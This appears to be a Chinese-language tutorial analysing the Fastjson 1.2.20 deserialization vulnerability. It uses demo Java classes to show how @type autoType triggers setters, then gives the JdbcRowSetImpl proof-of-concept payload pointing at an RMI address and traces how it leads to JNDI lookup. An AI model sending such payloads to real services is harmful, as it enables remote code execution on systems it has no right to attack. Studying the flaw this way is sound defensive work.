0x01 简介
Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。

0x02 Fastjson序列化
1、下载存在漏洞的版本,此处下载1.2.20
地址:https://github.com/alibaba/fastjson/releases?page=7

2、导入IDEA,自动安装依赖
3、新建Student类

package com.alibaba.fastjson;

public class Student {
    private String name;
    private int age;

    public Student(){
        System.out.println("this is student class 构造函数");
    }

    public String getName(){
        System.out.println("this is student class getName函数");
        return name;
    }

    public void setName(String name){
        System.out.println("this is student class setName函数");
        this.name = name;
    }

    public int getAge(){
        System.out.println("this is student class getAge函数");
        return age;
    }

    public void setAge(int age){
        System.out.println("this is student class getAge函数");
        this.age = age;
    }
}

4、新建ser序列化类

package com.alibaba.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

import java.awt.*;

public class ser {
    public static void main(String[] args){
        Student student = new Student();
        student.setName("hahaha");
        student.setAge(18);
        String jsonstring = JSON.toJSONString(student,SerializerFeature.WriteClassName);
        System.out.println(jsonstring);
    }
}

运行ser类,结果如下,可以看到fastjson在调用JSON.toJSONString序列化对象时,会调用类的getter方法。SerializerFeature.WriteClassName是toJSONString设置的一个属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type可以指定反序列化的类,并且调用其getter/setter/is方法。
image.png

未设置SerializerFeature.WriteClassName属性输出如下:
image.png

关于getter和setter方法的理解
(1).当属性被私有之后,外界无法直接访问,所以需要提供公共的访问方式,让外界可以间接地访问,并不是所有的属性都需要定义,被外界需要的才需要,对当前类可以控制外别访问属性的方式(我让你怎么访问就怎么访问)
(2).一般提供给get方式获得私有属性的值,通过set定义私有属性的值
格式:方法名 get(set)+属性名(首字母大写)

0x03 Fastjson反序列化
1、新建unser类,代码如下

package com.alibaba.fastjson;

public class unser {
    public static void main(String[] args){
        String test = "{\"@type\":\"com.alibaba.fastjson.Student\",\"age\":18,\"name\":\"hahaha\"}";//Student类需要全路径
        System.out.println(JSON.parse(test));
        System.out.println(JSON.parseObject(test));
    }
}

运行unser,结果如下:
image.png
可以看到JSON.parse方法反序列化后调用了对象的setter方法,JSON.parseObject调用了对象的getter和setter方法因为这种autoType所以导致了fastjson反序列化漏洞。

0x04 Fastjson反序列化漏洞
结合前面的分析我们知道了fastjson反序列化漏洞的原因在于类的setter方法在反序列化时会被调用,从而造成漏洞。接下来从POC入手分析反序列化漏洞。

JdbcRowSetImpl利用链
POC如下:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

根据前面的分析可知fastjson在反序列化的时候会将com.sun.rowset.JdbcRowSetImpl的dataSourceName属性设置为rmi://127.0.0.1:1099/badClassName,autoCommit属性设置为true,跟进com.sun.rowset.JdbcRowSetImpl类,setDataSourceName设置dataSourceName
image.png
setAutoCommit设置autoCommit并调用了connect方法
image.png
跟进connect方法,方法中调用了lookup方法,传入的参数即为我们的jndi服务器地址,造成了jndi反序列化漏洞
image.png

Q.E.D.